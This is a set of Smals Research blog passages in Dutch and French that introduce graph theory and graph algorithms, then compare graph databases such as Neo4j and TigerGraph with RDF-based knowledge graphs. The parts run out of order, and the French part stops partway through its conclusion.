Bovendien bestaan er twee hulpmiddelen om semantische betekenis toe te voegen aan RDF-gegevens door relaties te beschrijven om redeneren mogelijk te maken, namelijk RDFS (RDF Schema) en OWL (Web Ontology Language). Zoals we al hebben gezien, vereist RDF dat elk concept wordt geïdentificeerd door een URI. RDFS en OWL bieden een voorgedefinieerde set URI’s voor veelgebruikte concepten waarnaar verwezen kan worden in RDF. Dit maakt het mogelijk om een gestandaardiseerd gemeenschappelijk vocabularium te hebben, wat de integratie met andere databanken vergemakkelijkt, en om inferentieregels op te stellen. Aangezien OWL en RDFS gestandaardiseerde concepten aanbieden, kunnen OWL-gebaseerde ‘reasoners’ (zoals FaCT++ of HermiT) op een systematische manier impliciete relaties afleiden of tegenstrijdigheden detecteren op basis van de ontologie.

Query’s op een RDF database worden gedaan via SPARQL.

Alternatieven voor RDF en tools voor het werken met een knowledge graph

Natuurlijk is het voor een knowledge graph niet noodzakelijk om het RDF-model te gebruiken. Een graph wordt als een knowledge graph beschouwd als voldaan is aan de 3 voorwaarden die beschreven zijn aan het begin van het hoofdstuk over knowledge graphs. Het is dus perfect mogelijk om een knowledge graph te creëren in een klassieke graph databasemanagementtool, zolang de implementatie data uit verschillende bronnen combineert, voldoet aan een ontologie en gebruikt kan worden voor semantische inferentie.

De voornaamste kracht van het RDF-model is zijn hoge standaardisatieniveau. Enerzijds laat het een hoge mate van interoperabiliteit toe dankzij de URI-identificatievereiste en de gestandaardiseerde woordenschat en querytaal. Anderzijds bieden de RDFS- en OWL-uitbreidingen een schat aan semantische informatie voor automatisch redeneren. Omgekeerd beperkt de complexiteit het gebruik in zakelijke toepassingen waar deze semantische nauwkeurigheid niet noodzakelijk is en waar het gebruik van een eenvoudiger graphmodel (zoals Neo4j of TigerGraph) volstaat. Het gebruik van eenvoudigere modellen heeft het voordeel dat ze eenvoudiger en sneller op te zetten zijn en optimale query prestaties bieden, maar ten koste van het verlies van de semantische rijkdom die RDF biedt.

In deze sectie worden (niet-exhaustieve) tools met betrekking tot RDF voorgesteld, maar zoals vermeld blijven de tools die eerder werden vermeld voor graph databases geldig voor het creëren van een knowledge graphs zolang aan de voorwaarden wordt voldaan.

Hier is een lijst van enkele tools gerelateerd aan knowledge graphs in RDF:

• Ontwerp van ontologieën: de opensourcetool Protégé wordt vaak gebruikt om ontologieën te creëren. De website Schema.org biedt een groot aantal standaard schema’s en vocabulaires voor verschillende domeinen, maar wordt over het algemeen gebruikt voor knowledge graphs met betrekking tot webgegevens.
• Gegevens omzetten naar RDF: de tool R2RML kan gebruikt worden om relationele gegevens om te zetten in RDF. Ook het vermelden waard is D2RQ, dat toegang biedt tot een relationele database via een virtuele RDF knowledge graph.
• Dataopslag: naast de hierboven genoemde oplossingen (GraphDB en Amazon Neptune), kunnen we ook BlazeGraph en Apache Jena (opensource) vermelden, alsook Stardog en AllegroGraph (businessoplossingen).
• OWL reasoners: er bestaan veel OWL reasoners. Ze worden echter niet allemaal actief onderhouden of zijn niet altijd bruikbaar. De meest recente OWL reasoners lijst die we konden vinden dateert uit 2023 en is hier beschikbaar [6].

Tot slot willen we nog het RDF4J framework (Java framework) en rdflib (python library) vermelden voor interactie met RDF data.

Conclusie

Laten we afsluiten met een korte samenvatting van de belangrijkste concepten die een wiskundige graph onderscheiden van een graph database en een knowledge graph.

Een wiskundige graph is een verzameling van nodes en bogen die gemakkelijk kan worden voorgesteld in matrixvorm zodat er algoritmes op kunnen worden toegepast. Het is de onderliggende structuur van elke graph database of knowledge graph.

Een graph database bestaat uit een set van nodes, bogen en properties. De nadruk ligt op het opslaan van grote hoeveelheden gegevens binnen een graph structuur en het optimaliseren van query’s.

Een knowledge graph heeft als doel om kennis binnen een graph weer te geven met de nadruk op:

• Semantiek: de graph volgt een ontologie en relaties hebben betekenis.
• Integratie: verschillende databronnen zijn gekoppeld in een uniforme graph.
• Inferentie: het vermogen om kennis af te leiden door redeneren.

Daarom is het gericht op de integratie en de semantische verrijking van data.

Het spreekt voor zich dat deze post slechts een tipje van de sluier oplicht van de uitgebreide literatuur over graphs en de verschillende toepassingen ervan. Vele punten moeten nog verder uitgewerkt worden en zullen ongetwijfeld het onderwerp zijn van toekomstige blogposts.

Referenties

[1] Graph DB vs RDBMS

[2] Sept (bonnes) raisons d’utiliser une Graph Database

[3] Les graphes de connaissance, incontournable pour l’intelligence artificielle

[4] Smals KG Checklist: déterminer si un graphe de connaissances peut résoudre un problème concret

[5] Ehrlinger, L., & Wöß, W. (2016). Towards a definition of knowledge graphs. SEMANTiCS 2016, 48(1-4), 2.

[6] Abitch, K., (2023). “OWL Reasoners still useable in 2023”

Dit is een ingezonden bijdrage van Pierre Leleux, data scientist et network data analyst bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.

Dankzij hun vermogen om complexe relaties tussen gegevens te begrijpen en te benutten, worden graphtechnologieën steeds populairder op veel gebieden van kunstmatige intelligentie en gegevensbeheer. Deze blog heeft al meerdere artikels gepubliceerd over verschillende graphtechnologieën, waaronder graph databases [1, 2, 3] en knowledge graphs [4, 5, 6].

Maar wat betekent de term ‘graph’ eigenlijk? Tussen de wiskundige modellen die als basis dienen, graph databases en knowledge graphs, kan het moeilijk zijn om je weg te vinden en de tools te identificeren die het best passen bij je behoeften. Hierbij komt nog het feit dat werken met graph data op het eerste gezicht complex kan lijken en dat het gebruik van graphalgoritmes niet tot de kernvaardigheden van de meeste data engineers en data scientists behoort. Dit alles kan het creëren en exploiteren van graph data en modellen tot een ontmoedigend vooruitzicht maken.

Dit artikel geeft daarom een overzicht van graphtechnologieën, waarbij de drie bovengenoemde aspecten worden verkend:

• Graphs vanuit een theoretisch oogpunt, hun eigenschappen en hun belangrijkste toepassingen;
• Graph databases, gespecialiseerd in de opslag en exploitatie van gekoppelde gegevens;
• Knowledge graphs, die kennis semantisch structureren.

Daarom is het de bedoeling om deze concepten en de – soms vage – grenzen ertussen te presenteren, en hun toepassingen en de bijbehorende tools en software te belichten.

Dit artikel is opgesplitst in twee delen. Het eerste deel richt zich op graphs in hun fundamentele wiskundige vorm, hoe ze kunnen worden gecodeerd en geëxploiteerd, en de belangrijkste algoritmes en de toepassingen ervan. Het tweede deel richt zich op graph databases en knowledge graphs, en de bijbehorende tools.

Back to basics: graphs als wiskundige structuur

Laten we eerst definiëren wat een graph is. Deze theoretische basis is cruciaal aangezien de concepten van graph databases en knowledge graphs op deze basis zijn gebouwd. Deze meer geavanceerde concepten kunnen op elk moment worden teruggebracht tot hun onderliggende wiskundige vorm en bij uitbreiding zijn alle modellen en algoritmes die hieronder worden gepresenteerd toepasbaar op graph databases en knowledge graphs.

In zijn meest basale vorm is een graph een wiskundige structuur die bestaat uit een verzameling nodes en arcs die de nodes paarsgewijs verbinden. Nodes stellen meestal objecten of mensen voor en bogen stellen links tussen deze objecten of mensen voor. In het geval van een sociaal netwerk kan een boog bijvoorbeeld een vriendschapsband tussen twee gebruikers voorstellen.

De graph kan zowel gericht als ongericht zijn. In het geval van een ongerichte graph zijn de relaties tussen nodes altijd wederkerig (bijvoorbeeld een vriendschapslink op Facebook), terwijl in een gerichte graph een boog die van node i naar node j gaat, niet noodzakelijk een boog in de tegenovergestelde richting impliceert (bijvoorbeeld een website A die een link heeft naar een website B).

Afhankelijk van de situatie of toepassing kan een graph al dan niet gewogen zijn. Een graph is als gewogen omschreven als er aan elke boog een gewicht wordt toegekend dat varieert van boog tot boog en dat het mogelijk maakt om bepaalde bogen een grotere “kracht” te geven. De interpretatie van deze gewichten hangt af van de context; ze kunnen bijvoorbeeld een mate van verwantschap, gelijkenis, afhankelijkheid, enz. weergeven.

Een graph wordt over het algemeen voorgesteld door een vierkante matrix van dimensie (n × n), waarbij n het aantal nodes in de graph voorstelt, genaamd een adjacency matrix (aangeduid als A). Het element op positie (i, j) in de matrix is het gewicht van de boog van node i naar node j als deze bestaat, en anders 0 (zie figuur 1). De adjacency matrix is gewoon een binaire matrix als de graph ongewogen is.

Hier gaat een boog van gewicht 3 van node 1 naar node 3 en een boog van gewicht 5 in de tegenovergestelde richting. De matrix A bevat daarom de waarde 3 op positie (1,3) en de waarde 5 op positie (3,1).

Merk op dat adjacency matrices vaak grotendeels nullen bevatten en daarom over het algemeen worden gecodeerd met behulp van sparse matrices om het geheugen te optimaliseren.

Deze voorstelling van een graph in matrixvorm maakt het veel eenvoudiger om algoritmes op de graph te gebruiken, aangezien veel graphalgoritmes, die soms complex zijn in de vorm van vergelijkingen, vaak gereduceerd kunnen worden tot een reeks elementaire matrixbewerkingen. Dit maakt hun uitvoering zeer efficiënt in wetenschappelijke programmeertalen die geoptimaliseerd zijn voor matrixberekeningen, zoals R, MATLAB, Julia of Python (numpy, scipy).

Gebruiken van graphalgoritmes en praktische toepassingen

Om het nut van een graph beter te begrijpen, kijken we eerst naar de hoofdcategorieën van graphalgoritmes, met voor elke categorie een paar voorbeelden van het praktische gebruik ervan.

• Het optimale pad bepalen om een paar nodes te verbinden.

Hierbij kan het gaan om het minimaliseren van het aantal overgangen dat nodig is om van de ene node naar de andere te gaan of, als er kosten zijn verbonden aan elke boog, het vinden van het pad met de laagste kosten. De kosten kunnen gedefinieerd worden als het gewicht van een boog, of gecodeerd worden in een tweede matrix (kostenmatrix, onafhankelijk van de adjacency matrix). De manier waarop de kosten van een boog worden bepaald hangt af van de toepassing, afhankelijk van wat je wilt minimaliseren. Dit kan bijvoorbeeld een maat voor de lengte van de boog zijn (de lengte van een weg), een maat voor de tijd (de tijd die nodig is om de boog over te steken) of financiële kosten. Dit type algoritme kan worden gebruikt in de logistiek om transport te optimaliseren. De bekendste algoritmes zijn de algoritmes Dijkstra, A* en Bellman-Ford.

• Maatstaven bepalen voor gelijkenis of afstand tussen nodes in een graph.

Afhankelijk van de context kan het nuttig zijn om een similariteitsmaat te bepalen tussen twee nodes in een graph om te bepalen hoe dicht ze bij elkaar liggen. Similariteitsmaten worden vaak gebruikt in aanbevelingstoepassingen. Door een consumptiegraph te ontwerpen die gebruikers koppelt aan de producten die ze hebben geconsumeerd, maakt het meten van de similariteit tussen nodes het voor een bepaalde gebruiker mogelijk om gebruikers met een gelijkaardig consumptieprofiel te identificeren, gebaseerd op hun connecties met de producten. Een product wordt meestal aanbevolen aan een gebruiker omdat het door veel vergelijkbare gebruikers is geconsumeerd (user-based recommendation) of omdat het product vergelijkbaar is met producten die de gebruiker al heeft geconsumeerd (item-based recommendation). De bekendste similariteitsmaten zijn over het algemeen gebaseerd op common-neighbour maten (het aantal buren dat twee nodes gemeen hebben), zoals de Jaccard-index of cosinus-similariteit, maar andere methoden houden ook rekening met indirecte buren, zoals de Katz-kernel [12] (ook bekend als de “von Neumann kernel”). Zie [13] voor enkele klassieke similariteitsmaten en het gebruik ervan in aanbevelingen.

Het tegenovergestelde van een similariteitsmaat is een dissimilariteitsmaat, die toeneemt naarmate twee nodes verder van elkaar verwijderd zijn. Een afstandsmaat is per definitie een dissimilariteit, omdat deze toeneemt naarmate twee nodes verder van elkaar verwijderd zijn. De bekendste en meest intuïtieve maat voor dissimilariteit tussen twee nodes is de lengte van het kortste pad tussen hen.

• De centraliteit meten.

Een maat voor de centraliteit van een node of boog, soms ook een prestige measure genoemd, wordt gebruikt om te kwantificeren hoe belangrijk een node of boog is binnen een graph. De bekendste maat voor centraliteit is de score die wordt berekend door het algoritme PageRank [14]. PageRank werd oorspronkelijk ontwikkeld en gebruikt door de zoekmachine Google om webpagina’s te rangschikken. Het is gebaseerd op een willekeurige beweging in een graph waarin elke node een webpagina voorstelt en elke gerichte boog een hyperlink tussen twee pagina’s voorstelt. Het PageRank-algoritme kent naast het rangschikken van webpagina’s heel wat andere toepassingen:

“Google’s PageRank method was developed to evaluate the importance of web-pages via their link structure. The mathematics of PageRank, however, are entirely general and apply to any graph or network in any domain. Thus, PageRank is now regularly used in bibliometrics, social and information network analysis, and for link prediction and recommendation. It’s even used for systems analysis of road networks, as well as biology, chemistry, neuroscience, and physics.” – Gleich (2014) [15]

Een ander bekend algoritme dat lijkt op PageRank is het HITS-algoritme (Hyperlink-Induced Topic Search) [16].

Als we het over centraliteit hebben, is PageRank vaak het algoritme dat wordt voorgesteld, maar centraliteit kan op verschillende manieren worden begrepen. Het kan bijvoorbeeld verwijzen naar een node of boog die een kritieke intermediair is voor communicatie en informatieoverdracht binnen het netwerk. Centrale nodes identificeren kan het bijvoorbeeld mogelijk maken om informatie optimaal te verspreiden in een netwerk of om nodes of bogen op te sporen die van vitaal belang zijn voor de graph (waarvan de verdwijning de informatieoverdracht in de graph ernstig zou belemmeren). Veel voorkomende maatstaven voor node- of boog-centraliteit op basis van dit principe gebruiken over het algemeen tussen-maatstaven (betweenness centrality).

Centraliteit kan ook worden beschouwd als een maat voor de representativiteit van een node binnen een gemeenschap (in termen van nabijheid tot de andere nodes in de graph), in dit geval gemeten door middel van een maat van nabijheid (closeness centrality). Merk op dat we het gebruik van verschillende centraliteitsalgoritmes in een fraudedetectiecontext al hebben vermeld in eerdere blogposts, met name PageRank (in de vorm van een verspreidingsalgoritme) [7] en betweenness centrality [8].

• De graph partitioneren.

Beter bekend als “clustering”, bestaat graph partitioning uit het groeperen van nodes in communities (clusters) zodat nodes binnen een community “similair” zijn en twee nodes die tot verschillende communities behoren “dissimilair” zijn. Dit partitioneren kan op verschillende manieren gebeuren. Door bijvoorbeeld een maat voor similariteit of dissimilariteit tussen de nodes in de graph te gebruiken en vervolgens een clusteralgoritme zoals k-medoids uit te voeren op basis van deze (dis)similariteiten.

Een andere manier is om direct op de graph te werken en te proberen dichte gebieden binnen de graph te detecteren. Dit kan worden gedaan met behulp van labelpropagatie [17], of door het optimaliseren van een objectieve functie die de kwaliteit van de partitionering meet, zoals modulariteit. Het bekendste algoritme voor modulariteitsoptimalisatie is de Louvain-methode [18].

We hebben het gebruik van ‘graph partitioning’-methodes al genoemd in verschillende blogposts [9, 10]. Deze algoritmes worden met name gebruikt in communicatie en marketing om gerichte advertenties te produceren.

• Kenmerken of representaties extraheren.

De traditionele modellen voor machine learning hebben als limiet dat ze alleen rekening houden met de gegevens (continue en categorische variabelen) die betrekking hebben op de waarnemingen, en de informatie negeren die kan worden afgeleid uit de relaties tussen de waarnemingen. Indien er relaties bestaan tussen deze gegevens, kan er een graph worden geconstrueerd en kunnen de machine learning modellen worden verrijkt door nieuwe variabelen uit de graph toe te voegen (er is ook een blogpost over dit onderwerp [11]). Deze nieuwe variabelen kunnen bijvoorbeeld een maat voor centraliteit zijn (continue variabele) of het resultaat van partitionering (categorische variabele), of ze kunnen worden verkregen met behulp van ‘graph embedding’-methoden (continue variabelen). Graph embedding moet leiden tot een representatie van de nodes in een multidimensionale ruimte. Deze ruimte wordt zo berekend dat als twee nodes dicht bij elkaar liggen in de graph, ze ook dicht bij elkaar liggen in deze ruimte. Zo’n ruimte kan worden verkregen met methoden die direct op de graph werken (node2vec [19], fastRP [20]) of door te werken op basis van bijvoorbeeld similariteiten (kernelPCA [21]) of afstanden (t-SNE [22]). Zie figuur 3 voor een voorbeeld van een tweedimensionale weergave van een eenvoudige gewogen graph.

• Links voorspellen.

Het concept van linkvoorspelling is relatief eenvoudig: het gaat om het inschatten van de waarschijnlijkheid dat er een link bestaat tussen twee nodes. Dit maakt het mogelijk om potentieel ontbrekende bogen (incomplete graph) te detecteren, of om het verschijnen van nieuwe bogen te voorspellen. Aanbevelingsalgoritmes zijn een veelvoorkomend voorbeeld van het voorspellen van links tussen gebruikers en producten, maar deze algoritmes kunnen ook worden gebruikt om potentiële, nog onbekende interacties binnen biologische netwerken te detecteren. Dit type voorspelling wordt vaak verricht met behulp van methoden gebaseerd op overeenkomsten tussen nodes, matrixfactorisatie, probabilistische modellen of kunstmatige neurale netwerken [23].

Welke hulpmiddelen?

Zoals hierboven vermeld betekent de weergave van graphs in matrixvorm dat ze efficiënt gebruikt kunnen worden in wetenschappelijke programmeertalen. Er bestaan echter ook library’s of softwares die gebruikt kunnen worden om graphs te creëren en te exploiteren.

Enkele voorbeelden van library’s voor het werken met graphs. Deze library’s kunnen worden gebruikt om een graph object te maken dat op verschillende manieren kan worden opgebouwd. Het kan leeg worden opgebouwd, voordat handmatig nodes en bogen worden toegevoegd, of vanuit een adjacency matrix of een lijst van bogen, of rechtstreeks vanuit bestanden die een beschrijving van de graph bevatten in de vorm van een lijst van nodes en bogen. Voorbeelden van graph-georiënteerde library’s zijn igraph, NetworkX, graph-tool of NetworKit voor Python, igraph voor R en Graphs voor Julia.

Voor gebruikers die al een van deze talen kennen, hebben deze library’s het voordeel dat ze intuïtief en gemakkelijk te leren zijn en veel voorgeïmplementeerde graph algoritmes bevatten.

Conclusie

In het eerste deel van deze blogpost hebben we ons toegespitst op de verschillende graph tools, we hebben de graphtheorie kort ingeleid, alsook de voornaamste toepassingen en algoritmes voor graphs. Het tweede deel richt zich op graph databases en knowledge graphs, het verschil tussen deze concepten en de bijbehorende tools.

Referenties

Enkele blogposts van Smals Research over graphs:

[1] Graph DB vs RDBMS

[2] Sept (bonnes) raisons d’utiliser une Graph Database

[3] Een graph database verkennen

[4] Les graphes de connaissance, incontournable pour l’intelligence artificielle

[5] Les graphes de connaissance : quelques applications

[6] Smals KG Checklist: déterminer si un graphe de connaissances peut résoudre un problème concret

[7] Un fraudeur ne fraude jamais seul

[8] Un fraudeur ne fraude jamais seul, partie 2

[9] Ce qu’un réseau social peut nous apprendre

[10] Facebook : peut-on vraiment cacher sa liste d’amis ?

[11] Améliorer le Machine Learning avec des données graphes

Wetenschappelijke bronnen:

[12] Katz, L. (1953). A new status index derived from sociometric analysis. Psychometrika, 18(1), 39-43.

[13] Fouss, F., Pirotte, A., Renders, J. M., & Saerens, M. (2007). Random-walk computation of similarities between nodes of a graph with application to collaborative recommendation. IEEE Transactions on knowledge and data engineering, 19(3), 355-369.

[14] Page, L., Brin, S., Motwani, R., & Winograd, T. (1998). The pagerank citation ranking: Bringing order to the web. Technical report, Stanford Digital Libraries.

[15] Gleich, D. F. (2015). PageRank beyond the web. siam REVIEW, 57(3), 321-363.

[16] Kleinberg, J. M. (1999). Authoritative sources in a hyperlinked environment. Journal of the ACM (JACM), 46(5), 604-632.

[17] Raghavan, U. N., Albert, R., & Kumara, S. (2007). Near linear time algorithm to detect community structures in large-scale networks. Physical Review E—Statistical, Nonlinear, and Soft Matter Physics, 76(3), 036106.

[18] Blondel, V. D., Guillaume, J. L., Lambiotte, R., & Lefebvre, E. (2008). Fast unfolding of communities in large networks. Journal of statistical mechanics: theory and experiment, 2008(10), P10008.

[19] Grover, A., & Leskovec, J. (2016). node2vec: Scalable feature learning for networks. In Proceedings of the 22nd ACM SIGKDD international conference on Knowledge discovery and data mining (pp. 855-864).

[20] Chen, H., Sultan, S. F., Tian, Y., Chen, M., & Skiena, S. (2019, November). Fast and accurate network embeddings via very sparse random projection. In Proceedings of the 28th ACM international conference on information and knowledge management (pp. 399-408).

[21] Schölkopf, B., & Smola, A. J. (2002). Learning with kernels: support vector machines, regularization, optimization, and beyond.

[22] Van der Maaten, L., & Hinton, G. (2008). Visualizing data using t-SNE. Journal of machine learning research, 9(11).

[23] Lü, L., & Zhou, T. (2011). Link prediction in complex networks: A survey. Physica A: statistical mechanics and its applications, 390(6), 1150-1170.

Dit is een ingezonden bijdrage van Pierre Leleux, data scientist et network data analyst bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.

Cet article fait suite à la Partie 1, qui présente les fondamentaux des technologies graphes, algorithmes et applications. Cette seconde partie est consacrée aux bases de données orientées graphe et aux graphes de connaissances, leurs différences et leurs outils.

Les bases de données orientées graphe

A l’instar d’une base de données relationnelle, l’objectif d’une base de données orientée graphe est de pouvoir stocker et gérer des données de manière persistante et d’effectuer des requêtes complexes. La différence étant que les données sont stockées sous la forme d’un graphe, à savoir un ensemble de nœuds interconnectés par le biais d’arcs.

Les bases de données orientées graphe ont plusieurs avantages par rapport aux bases de données relationnelles classiques, car le modèle de graphe permet une traversée simple et optimisée des données via les arcs, là où l’exploration de relations dans une base de données relationnelle peut demander un nombre important de jointures. Plus de détails sur les avantages des bases de données orientées graphe, ainsi que les cas de figure où les utiliser, se trouvent dans les articles de blog [1] et [2].

Les trois composants de toute base de données orientée graphe sont : nœuds, arcs et propriétés. Ces propriétés peuvent être placées soit sur les nœuds, soit sur les arcs, ou sur les deux. Si nous considérons le petit exemple illustratif dans la Figure 1, le nœud « Paul » peut par exemple être associé à des propriétés telles que sa date de naissance et son adresse, pour les nœuds représentant des films on peut y associer les propriétés telles que l’année de sortie, le budget et son identifiant IMDb, et sur les relations « A_VU » entre un utilisateur et un film, on pourrait associer des propriétés telles que la date de visionnage et la note (sur 5) que l’utilisateur donne au film.

Il est à noter que les algorithmes de graphe que nous avons présentés dans la Partie 1 ne sont souvent que peu ou pas implémentés dans les logiciels de bases de données orientées graphe, à quelques exceptions près (Neo4j et TigerGraph disposent d’une libraire « Graph Data Science (GDS) » contenant plusieurs algorithmes). Il est donc généralement nécessaire d’exporter le graphe (ou une partie de celui-ci) vers un outil d’analyse.

Les outils pour bases de données orientées graphe

Passons rapidement en revue quelques-uns des outils les plus connus. Notez que tous les outils listés ci-après sont compatibles avec les propriétés ACID. Il existe un grand nombre d’outils pour la gestion de base de données graphe, cet article n’en mentionne qu’une partie. N’hésitez pas à aller jeter un coup d’œil à une liste plus détaillée trouvable ici.

1. Neo4j

Neo4j offre l’avantage d’avoir un format de graphe natif, ce qui rend très efficace la traversée du graphe (et donc, les requêtes). Les requêtes se font en Cypher, un langage facile à prendre en main, et Neo4J est bien documenté et dispose d’une grande communauté. Neo4J dans sa version « community » est gratuit, mais une version payante existe (Neo4j Enterprise), et la version gratuite peut poser quelques soucis de scalabilité face à de très grandes quantités de données.

2. ArangoDB

ArangoDB propose un modèle de données flexible (multi-modèle), intégrant un modèle graphe, un modèle document (basé sur des objets JSON) et un modèle clé-valeur. Il dispose de son propre langage de requêtes AQL (Arango Query Language) qui peut être plus compliqué à prendre en main que Cypher en raison du multi-modèle sous-jacent à ArangoDB. C’est un logiciel payant, bien qu’une version open source existe (community edition), mais est (évidement) plus limitée que la version payante.

3. TigerGraph

TigerGraph est un outil payant, optimisé pour pouvoir être utilisés sur de très grandes bases de données. Les requêtes se font via le langage GSQL, qui est un langage permettant d’effectuer de nombreuses tâches, mais plus compliqué à prendre en main que Cypher. TigerGraph dispose de nombreux algorithmes implémentés via la librairie GDS.

4. Memgraph

Memgraph est un outil particulier en ce sens qu’il stocke les données directement en mémoire (dans la RAM). Cela lui permet d’avoir des très hautes performances pour le requêtage, mais en contrepartie cela rend son utilisation difficile, ou du moins coûteuse en termes d’infrastructure, lorsque le graphe est de grande taille, puisqu’il faut avoir suffisamment de RAM que pour stocker les données. Memgraph s’utilise donc généralement lorsque les performances sont la première priorité. Les requêtes se font en Cypher.

5. GraphDB

GraphDB utilise un modèle de graphe bien spécifique appelé Resource Description Framework (RDF). Ce framework, qui sera discuté un peu plus en détails dans la section relative aux graphes de connaissances, a son langage de requête propre nommé SPARQL. Il existe en version gratuite open-source (graphDB Free) et en version entreprise payante (graphDB Enterprise).

6. Apache TinkerPop et ses implémentations

Il s’agit d’un framework open-source qui vise à définir un modèle de base de données graphes, ainsi qu’un langage de requête nommé « Gremlin ». Il est utilisé dans de nombreux logiciels de gestion de base de données orientées graphe, tels que JanusGraph (un logiciel open-source), Amazon Neptune qui propose d’autres modèles que celui de TinkerPop tels que RDF, ou encore des outils de gestion de base de données non spécialisés en graphe, tels qu’Azure Cosmos DB.

Les graphes de connaissances

Avant de s’intéresser aux pratiques et outils, commençons dans un premier temps par définir ce qu’est un graphe de connaissances et ce qui le distingue d’une base de données orientée graphe. Il s’agit d’un graphe qui met l’accent sur la sémantique et sur l’inférence. Chaque nœud représente un concept et chaque arc une relation. Comme nous l’avons déjà vu dans les articles de blog [3, 4], un graphe de connaissances se définit comme un graphe remplissant trois conditions [5] :

1. L’intégration d’informations en provenance de différentes sources hétérogènes.

Un graphe de connaissances rassemble et combine des données issues de diverses sources (structurées ou non) de manière cohérente.

2. L’utilisation d’une ontologie.

Une ontologie décrit de façon formelle les concepts et les relations présentes dans le graphe, ainsi que les éventuelles contraintes et règles. Il s’agit donc d’un modèle structuré qui fournit les fondations sémantiques afin de permettre des opérations de raisonnement et des tests de cohérence. Par exemple, un schéma d’ontologie (voir Figure 2), également appelé graphe ontologique, fournit une représentation des types d’entités et des relations d’un graphe de connaissances, fournissant ainsi une structure conceptuelle sans contenir de données spécifiques.

3. L’inférence d’informations implicites sur base d’informations explicites.

Il est possible de trouver des informations qui n’étaient pas présentes dans les données initiales sur base de règles d’inférence (Voir Figure 3).

Un aperçu du modèle RDF (Resource Description Framework)

Initialement conçu pour la description formelle de ressources web et leurs métadonnées, le modèle RDF est fréquemment utilisé pour les graphes de connaissances car il permet un raisonnement sémantique robuste et une très grande interopérabilité.

Un document en RDF prend la forme d’un ensemble de triplets RDF, chaque triplet est une association : sujet (ressource à décrire), prédicat (propriété de la ressource), objet (donnée ou autre ressource).

Par exemple :

:Alice :knows :Bob .
:Alice :livesIn :Paris .
:Alice :age 30 .

Ces triplets représentent donc aussi bien des relations entre nœuds (par exemple : la relation entre Alice et Bob) que des propriétés (l’âge d’Alice).

Une spécificité de RDF est qu’il nécessite que chaque élément d’un triplet (à l’exception de l’objet s’il s’agit d’une valeur simple, tel que la valeur 30 pour l’âge d’Alice) soit identifié par un URI (Uniform Resource Identifier) ou IRI (Internationalized Resource Identifier). Cela permet une grande interopérabilité car cela évite la création de doublons lorsque plusieurs sources d’information sont combinées. Si nous reprenons les triplets utilisés précédemment, nous obtenons le fragment suivant (en langage turtle) :

<http://example.org/Alice> <http://example.org/knows> <http://example.org/Bob> .
<http://example.org/Alice> <http://example.org/livesIn> <http://example.org/Paris> .
<http://example.org/Alice> <http://example.org/age> "30"^^<http://www.w3.org/2001/XMLSchema#integer> .

L’utilisation de RDF implique donc d’avoir un URI afin de pouvoir identifier tous les concepts (sujets, prédicats et objets) du graphe à l’instar d’une clé primaire dans les bases de données relationnelles.

De plus, il existe deux outils permettant d’ajouter de la signification sémantique aux données RDF, en décrivant les relations afin de permettre le raisonnement, à savoir RDFS (RDF Schema) et OWL (Web Ontology Language). Comme nous l’avons vu, RDF impose que chaque concept soit identifié par un URI. RDFS et OWL fournissent un ensemble prédéfini d’URI pour des concepts fréquemment utilisés, auxquels on peut faire référence dans RDF. Ceci permet d’une part d’avoir un vocabulaire commun standardisé, ce qui facilite l’intégration d’autres bases de données, et d’autre part d’établir des règles d’inférence. En effet, puisque OWL et RDFS proposent des concepts standardisés, cela permet à des « raisonneurs » basés sur OWL (tels que FaCT++ ou HermiT) d’inférer les relations implicites de façon systématique ou de détecter des contradictions, sur base de l’ontologie.

Les requêtes sur une base de données RDF se font via SPARQL.

Les alternatives à RDF, et les outils pour travailler avec un graphe de connaissances

Bien évidemment, un graphe de connaissances ne nécessite pas forcément l’utilisation du modèle RDF. Un graphe sera considéré comme graphe de connaissances tant que les 3 conditions décrites en début de section sur les graphes de connaissances sont remplies. Il est donc parfaitement possible de créer un graphe de connaissances dans un outil classique de gestion de base de données orientée graphe, tant que l’implémentation combine des données de plusieurs sources, qu’elle est conforme à une ontologie et qu’elle peut être utilisée pour de l’inférence sémantique.

La principale force du modèle RDF est son niveau de standardisation élevé. D’une part, via son exigence d’identification par URI, ainsi que son vocabulaire et son langage de requête standardisés, elle permet une haute interopérabilité. D’autre part, les extension RDFS et OWL permettent d’offrir une richesse sémantique rendant possible un raisonnement automatique. En contrepartie, sa complexité limite son adoption dans des applications business où cette rigueur sémantique n’est pas forcément nécessaire et où l’utilisation d’un modèle de graphe plus simple (tel que Neo4j ou TigerGraph) suffit. L’utilisation de modèles plus simples offre l’avantage d’être plus facile et rapide à mettre en place et d’offrir des performances de requêtage optimisées, mais au prix de la perte de la richesse sémantique offerte par RDF.

Cette section présente des outils (de façon non exhaustive) relatifs à RDF mais, comme mentionné, les outils précédemment cités pour les bases de données orientées graphe restent valides pour créer un graphe de connaissances tant que les conditions sont remplies.

Voici une liste de quelques outils liés aux graphes de connaissances en RDF :

• La conception d’ontologies : l’outil open-source Protégé est fréquemment utilisé pour créer des ontologies. Le site schema.org fournit un grand nombre de schéma et vocabulaires standards pour différents domaines, mais est généralement plutôt utilisé pour des graphes de connaissances relatifs aux données web.
• La transformation de données vers RDF : l’outil R2RML permet de transformer des données relationnelles vers RDF. Nous pouvons aussi mentionner D2RQ, qui donne accès à une base de données relationnelle via un graphe de connaissances RDF virtuel.
• Le stockage de données : en plus des solutions mentionnées précédemment (GraphDB et Amazon Neptune), nous pouvons aussi mentionner BlazeGraph et Apache Jena (open-source) ou encore Stardog et AllegroGraph (solutions commerciales).
• Les raisonneurs OWL : il existe de nombreux raisonneurs OWL. Tous ne sont cependant pas forcément activement maintenus ou toujours utilisables. La liste de raisonneurs OWL la plus récente que nous ayons pu trouver date de 2023 et est accessible ici [6].

Terminons par mentionner le framework RDF4J (framework Java) et rdflib (libraire python) permettant d’interagir avec des données RDF.

Conclusion

Terminons par une rapide synthèse des concepts clés qui séparent un graphe mathématique d’une base de données orientée graphe et d’un graphe de connaissances.

Un graphe mathématique est un ensemble de nœuds et d’arcs facilement représentable sous forme matricielle afin d’y appliquer des algorithmes. C’est la structure sous-jacente de toute base de données orientée graphe ou graphe de connaissances.

Une base de données graphe comporte un ensemble de nœuds, d’arcs et de propriétés. L’accent est mis sur le stockage de grandes quantités de données au sein d’une structure graphe et sur l’optimisation du requêtage.

Un graphe de connaissances a pour but de représenter le savoir au sein d’un graphe mettant l’accent sur :

• La sémantique : Le graphe suit une ontologie et les relations ont une signification.
• L’intégration : Diverses sources de données sont liées dans un graphe unifié.
